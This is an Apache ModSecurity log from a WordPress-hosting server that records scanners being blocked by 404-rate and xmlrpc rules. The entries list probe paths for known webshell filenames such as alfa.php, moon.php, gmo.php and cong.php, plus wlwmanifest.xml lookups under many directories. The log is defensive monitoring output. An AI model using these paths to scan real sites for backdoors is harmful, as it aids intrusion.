[Sat Dec 13 13:00:36.412954 2025] [:error] [pid 43748:tid 43791] [client 45.154.98.18:49977] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTzy9KrTT0VzE3gYjcCH-QAAAEw"]
[Sat Dec 13 13:00:36.586344 2025] [:error] [pid 55037:tid 55045] [client 45.154.98.18:51600] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTzy9Byx7iFaaIMvMOFS4AAAAUY"]
[Sat Dec 13 13:00:37.041749 2025] [:error] [pid 55071:tid 55091] [client 45.154.98.18:53097] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTzy9cHSpNduhEZ_mjelcwAAAZI"]
[Sat Dec 13 13:00:37.614358 2025] [:error] [pid 3418:tid 3431] [client 45.154.98.18:53415] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTzy9St8_IWm3g-eIu5EmgAAAco"]
[Sat Dec 13 13:00:37.751629 2025] [:error] [pid 55037:tid 55060] [client 45.154.98.18:53193] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTzy9Ryx7iFaaIMvMOFS-gAAAVU"]
[Sat Dec 13 13:00:38.247499 2025] [:error] [pid 3418:tid 3426] [client 45.154.98.18:53656] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTzy9it8_IWm3g-eIu5EqwAAAcU"]
[Sat Dec 13 13:00:38.801791 2025] [:error] [pid 43747:tid 43761] [client 45.154.98.18:54052] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTzy9pYw3twBd_JQEHj1MQAAAAo"]
[Sat Dec 13 13:00:38.867635 2025] [:error] [pid 39287:tid 39309] [client 45.154.98.18:53736] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTzy9jBwBW1JRRoCYqZi0wAAARQ"]
[Sat Dec 13 20:00:35.154993 2025] [:error] [pid 39287:tid 39301] [client 34.148.37.70:52126] [client 34.148.37.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.148.37.70, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aT1VYzBwBW1JRRoCYqaGwAAAAQw"]
[Sat Dec 13 20:00:35.868912 2025] [:error] [pid 39287:tid 39304] [client 34.148.37.70:52126] [client 34.148.37.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aT1VYzBwBW1JRRoCYqaGxwAAAQ8"]
[Sat Dec 13 20:00:36.732935 2025] [:error] [pid 43836:tid 43846] [client 34.148.37.70:56132] [client 34.148.37.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aT1VZGAEOBirsxb11nb7mgAAAMg"]
[Sat Dec 13 20:00:37.662193 2025] [:error] [pid 39287:tid 39303] [client 34.148.37.70:61702] [client 34.148.37.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aT1VZTBwBW1JRRoCYqaGywAAAQ4"]
[Sat Dec 13 20:00:38.509400 2025] [:error] [pid 20799:tid 20815] [client 34.148.37.70:51837] [client 34.148.37.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aT1VZqPz3eVRUTzZpOJ7XAAAAs4"]
[Sat Dec 13 20:00:39.422876 2025] [:error] [pid 43836:tid 43853] [client 34.148.37.70:61413] [client 34.148.37.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aT1VZ2AEOBirsxb11nb7mwAAAM8"]
[Sat Dec 13 20:00:40.332049 2025] [:error] [pid 20799:tid 20802] [client 34.148.37.70:56070] [client 34.148.37.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "aT1VaKPz3eVRUTzZpOJ7cAAAAsE"]
[Sat Dec 13 20:00:41.245745 2025] [:error] [pid 43748:tid 43802] [client 34.148.37.70:58249] [client 34.148.37.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aT1VaarTT0VzE3gYjcCqdwAAAFY"]
[Sat Dec 13 20:00:42.168493 2025] [:error] [pid 20799:tid 20822] [client 34.148.37.70:57669] [client 34.148.37.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aT1VaqPz3eVRUTzZpOJ7fgAAAtU"]
[Sat Dec 13 20:00:43.014133 2025] [:error] [pid 43836:tid 43855] [client 34.148.37.70:64102] [client 34.148.37.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aT1Va2AEOBirsxb11nb7nQAAANE"]
[Sat Dec 13 20:00:43.904989 2025] [:error] [pid 21342:tid 21363] [client 34.148.37.70:60879] [client 34.148.37.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aT1Va_BL0VVSMIEvqstyEQAAAxE"]
[Sat Dec 13 20:00:44.762186 2025] [:error] [pid 43748:tid 43779] [client 34.148.37.70:60130] [client 34.148.37.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aT1VbKrTT0VzE3gYjcCqeQAAAEA"]
[Sat Dec 13 20:00:45.643716 2025] [:error] [pid 43748:tid 43787] [client 34.148.37.70:60977] [client 34.148.37.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aT1VbarTT0VzE3gYjcCqegAAAEg"]
[Sat Dec 13 20:00:46.720532 2025] [:error] [pid 21342:tid 21356] [client 34.148.37.70:56919] [client 34.148.37.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aT1VbvBL0VVSMIEvqstyFQAAAwo"]
[Sat Dec 13 20:00:47.576374 2025] [:error] [pid 21342:tid 21349] [client 34.148.37.70:59501] [client 34.148.37.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aT1Vb_BL0VVSMIEvqstyGAAAAwM"]
[Sat Dec 13 21:39:34.193864 2025] [:error] [pid 39287:tid 39291] [client 4.194.162.164:1737] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aT1sljBwBW1JRRoCYqaQxAAAAQI"]
[Sat Dec 13 21:39:37.267942 2025] [:error] [pid 23013:tid 23035] [client 4.194.162.164:1744] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aT1smas9bDNWPQXUW1anTgAAA9Q"]
[Sat Dec 13 21:39:39.878770 2025] [:error] [pid 43747:tid 43760] [client 4.194.162.164:54589] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aT1sm5Yw3twBd_JQEHhCXwAAAAk"]
[Sat Dec 13 21:39:40.484733 2025] [:error] [pid 8242:tid 8262] [client 4.194.162.164:54580] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aT1snCNKA7vSGNUfnOFALgAAAk4"]
[Sat Dec 13 21:39:41.628724 2025] [:error] [pid 39287:tid 39295] [client 4.194.162.164:54582] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aT1snTBwBW1JRRoCYqaQyAAAAQY"]
[Sat Dec 13 21:39:43.707807 2025] [:error] [pid 21342:tid 21358] [client 4.194.162.164:1333] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aT1sn_BL0VVSMIEvqsuIigAAAww"]
[Sat Dec 13 21:39:48.586693 2025] [:error] [pid 21342:tid 21353] [client 4.194.162.164:1560] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aT1spPBL0VVSMIEvqsuImQAAAwc"]
[Sat Dec 13 21:39:50.747927 2025] [:error] [pid 39287:tid 39290] [client 4.194.162.164:54585] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin-post.php"] [unique_id "aT1spjBwBW1JRRoCYqaQzQAAAQE"]
[Sat Dec 13 21:39:51.705482 2025] [:error] [pid 21342:tid 21346] [client 4.194.162.164:53966] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aT1sp_BL0VVSMIEvqsuInAAAAwA"]
[Sat Dec 13 21:39:53.249993 2025] [:error] [pid 43748:tid 43791] [client 4.194.162.164:1585] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aT1sqarTT0VzE3gYjcC0oAAAAEw"]
[Sat Dec 13 21:39:54.587876 2025] [:error] [pid 43747:tid 43764] [client 4.194.162.164:54571] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aT1sqpYw3twBd_JQEHhCagAAAA0"]
[Sat Dec 13 21:39:55.839120 2025] [:error] [pid 43748:tid 43784] [client 4.194.162.164:1741] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/admin.php"] [unique_id "aT1sq6rTT0VzE3gYjcC0oQAAAEU"]
[Sat Dec 13 21:39:57.817838 2025] [:error] [pid 55071:tid 55082] [client 4.194.162.164:54558] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aT1srcHSpNduhEZ_mjfeVQAAAYk"]
[Sat Dec 13 21:39:58.661426 2025] [:error] [pid 43747:tid 43771] [client 4.194.162.164:54561] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aT1srpYw3twBd_JQEHhCbQAAABQ"]
[Sat Dec 13 21:39:59.878484 2025] [:error] [pid 43748:tid 43779] [client 4.194.162.164:1926] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aT1sr6rTT0VzE3gYjcC0pAAAAEA"]
[Sat Dec 13 21:40:01.139112 2025] [:error] [pid 21342:tid 21357] [client 4.194.162.164:1947] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aT1ssfBL0VVSMIEvqsuIpQAAAws"]
[Sat Dec 13 21:40:01.720582 2025] [:error] [pid 43747:tid 43753] [client 4.194.162.164:53764] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aT1ssZYw3twBd_JQEHhCbgAAAAI"]
[Sat Dec 13 21:40:02.696252 2025] [:error] [pid 43836:tid 43845] [client 4.194.162.164:1779] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aT1ssmAEOBirsxb11nYGewAAAMc"]
[Sat Dec 13 21:40:04.268575 2025] [:error] [pid 55071:tid 55079] [client 4.194.162.164:1758] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aT1stMHSpNduhEZ_mjfeWQAAAYY"]
[Sat Dec 13 21:40:05.657640 2025] [:error] [pid 20799:tid 20803] [client 4.194.162.164:1967] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aT1staPz3eVRUTzZpOKJEQAAAsI"]
[Sat Dec 13 21:40:10.886345 2025] [:error] [pid 23013:tid 23015] [client 4.194.162.164:55770] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aT1suqs9bDNWPQXUW1anXwAAA8A"]
[Sat Dec 13 21:40:13.277197 2025] [:error] [pid 22505:tid 22514] [client 4.194.162.164:55764] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aT1svTvNI-35hW16TnUkEgAAA4c"]
[Sat Dec 13 21:40:13.860252 2025] [:error] [pid 39287:tid 39298] [client 4.194.162.164:1902] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aT1svTBwBW1JRRoCYqaQ0AAAAQk"]
[Sat Dec 13 21:40:14.619217 2025] [:error] [pid 43747:tid 43756] [client 4.194.162.164:55798] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aT1svpYw3twBd_JQEHhCdAAAAAU"]
[Sat Dec 13 21:40:16.957069 2025] [:error] [pid 21342:tid 21348] [client 4.194.162.164:55842] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aT1swPBL0VVSMIEvqsuIqgAAAwI"]
[Sat Dec 13 21:40:17.998098 2025] [:error] [pid 55071:tid 55094] [client 4.194.162.164:21726] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aT1swcHSpNduhEZ_mjfeYQAAAZU"]
[Sat Dec 13 21:40:19.851134 2025] [:error] [pid 43747:tid 43766] [client 4.194.162.164:21728] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aT1sw5Yw3twBd_JQEHhCdgAAAA8"]
[Sat Dec 13 21:40:20.670244 2025] [:error] [pid 43836:tid 43854] [client 4.194.162.164:54397] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cong.php"] [unique_id "aT1sxGAEOBirsxb11nYGgwAAANA"]
[Sat Dec 13 21:40:21.154722 2025] [:error] [pid 8242:tid 8248] [client 4.194.162.164:21736] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aT1sxSNKA7vSGNUfnOFARAAAAkA"]
[Sat Dec 13 21:40:22.628607 2025] [:error] [pid 8242:tid 8259] [client 4.194.162.164:21711] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aT1sxiNKA7vSGNUfnOFARgAAAks"]
[Sat Dec 13 21:40:23.670940 2025] [:error] [pid 43748:tid 43780] [client 4.194.162.164:54363] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aT1sx6rTT0VzE3gYjcC0rwAAAEE"]
[Sat Dec 13 21:40:25.406409 2025] [:error] [pid 23013:tid 23021] [client 4.194.162.164:53884] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/123.php"] [unique_id "aT1syas9bDNWPQXUW1anaAAAA8Y"]
